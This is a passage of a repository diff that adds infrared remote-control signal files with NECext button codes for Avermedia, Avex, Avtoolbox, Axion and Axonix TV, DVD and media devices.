+command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: COLOR +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0E 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: CAPTURE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: LOOP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: RIGHTARROW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 18 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: AUTOSCAN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir b/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir new file mode 100644 index 000000000..41c496878 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 0A 00 00 00 +# +name: MTS/STEREO +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 0C 00 00 00 +# +name: PIP_CH +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 0E 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 0F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 10 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 13 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 14 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 15 00 00 00 +# +name: PIC_MODE +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 18 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1B 00 00 00 +# +name: CH_RTN +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1C 00 00 00 +# +name: PIP_POS +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 40 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 41 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 42 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 43 00 00 00 +# +name: PC_BGM/RES +type: parsed +protocol: NECext +address: 00 ED 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir new file mode 100644 index 000000000..2a048c70b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: CH_RTN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: TIMESHIFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: SNAPSHOT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: WAKE_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 43 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 44 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 46 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 47 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 48 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 49 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: KEY_DOT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir new file mode 100644 index 000000000..5f2329ef5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: x_right +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: scan_left +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: scan_right +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir new file mode 100644 index 000000000..f7fd1e8f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: switch_prgs +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: calibrate +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: otr-rec +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 24 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: fast +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2A 00 00 00 +# +name: pic_rew +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2C 00 00 00 +# +name: pic_ff +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 2F 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir new file mode 100644 index 000000000..7f102d31e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir b/assets/resources/infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir new file mode 100644 index 000000000..418e176c8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: Display +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 04 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 06 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 07 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 08 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 0F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 10 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 11 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 12 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 17 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1C 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1D 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 1F 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 44 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 48 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 49 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 50 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 51 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 54 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 55 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 FF 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir new file mode 100644 index 000000000..ba40de4c2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir @@ -0,0 +1,410 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: 0_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: 1_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: 2_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: 3_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: 4_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 45 00 00 00 +# +name: 5_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 46 00 00 00 +# +name: 6_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 46 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: 7_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: 8_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: 9_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4C 00 00 00 +# +name: PAGE_+_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4C 00 00 00 +# +name: VOL_+_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4D 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4D 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: PAGE_-_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4F 00 00 00 +# +name: VOL_-_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_UP_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_LEFT_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 51 00 00 00 +# +name: ENTER_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 52 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_RIGHT_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_DOWN_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 54 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 54 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 55 00 00 00 +# +name: EXIT_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 55 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: OPTIONS_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: PLAY_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 57 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 57 00 00 00 +# +name: PAUSE_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 58 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 58 00 00 00 +# +name: STOP_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 59 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 59 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5A 00 00 00 +# +name: SKIP_<<_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5A 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5B 00 00 00 +# +name: SKIP_>>_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5B 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5C 00 00 00 +# +name: RECORD_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5D 00 00 00 +# +name: SCAN_<<_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5D 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5E 00 00 00 +# +name: SCAN_>>_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5E 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 60 00 00 00 +# +name: HOME_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 60 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 61 00 00 00 +# +name: MOVIES_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 61 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 62 00 00 00 +# +name: MUSIC_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 62 00 00 00 +# +name: PHOTOS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 63 00 00 00 +# +name: PHOTOS_B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir new file mode 100644 index 000000000..37763d054 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Axonix/Media Server/17,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 40 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 41 00 00 00 +# +name: 2/ABC +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 42 00 00 00 +# +name: 3/DEF +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 43 00 00 00 +# +name: 4/GHI +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 44 00 00 00 +# +name: 5/JKL +type: 